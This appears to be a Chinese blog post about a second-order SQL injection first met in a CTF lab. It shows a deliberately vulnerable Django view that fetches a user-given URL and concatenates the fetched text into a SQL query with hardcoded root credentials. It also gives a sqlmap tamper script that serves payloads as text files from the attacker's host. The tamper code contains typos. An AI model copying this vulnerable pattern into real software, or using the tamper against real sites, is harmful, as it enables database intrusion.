行业新闻

不一样的SQL注入

不一样的SQL注入

前段时间我这玩CTF的靶场,里面有一个很有意思的注入漏洞,后端是sqlite3做数据库,前台有一个地方上传txt,然后就会拿txt内容进行数据库查询,我根据它的原理,写了个sqlmap的tamper,可惜当时不行,就做了一下记录,刚刚翻到记录,为了验证想法,就写了一个测试网站出来。很简单,前台接受网址,后台解析查询,返回查询结果

#views.py

from django.shortcuts import render
import pymysql
import requests
# Create your views here.from django.http import HttpResponse


def te(request):
    url = request.GET.get("url")
    r = requests.get(url=url)
    id = r.text.strip()
    db = pymysql.connect("127.0.0.1", "root", "123456", "t1", charset='utf8')
    cursor = db.cursor()
    cursor.execute("SELECT * FROM test where id =" + id)
    data = cursor.fetchone()

    db.close()
    return HttpResponse(data[1])


这是正常逻辑,txt内容为1

image.png于是我就写了一个tamper进行注入,很简单,kali本地生成随机txt,里面写payloads,返回txt的访问地址

# !/usr/bin/env python

import random
import sting
import re

from lib.core.data import kb
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL


def dependencies():
    pass


def tamper(payload, **kwargs):
    retVal = payload
    name = ''.join(random.sample(string.ascii_letters + string.digits, 8))

    if payload:
        f = open("/var/www/html/" + name + '.txt', 'w')
        f.write(payload)
        f.close

    return "http://192.168.0.106/" + name + ".txt"

测试过程

image.png

关闭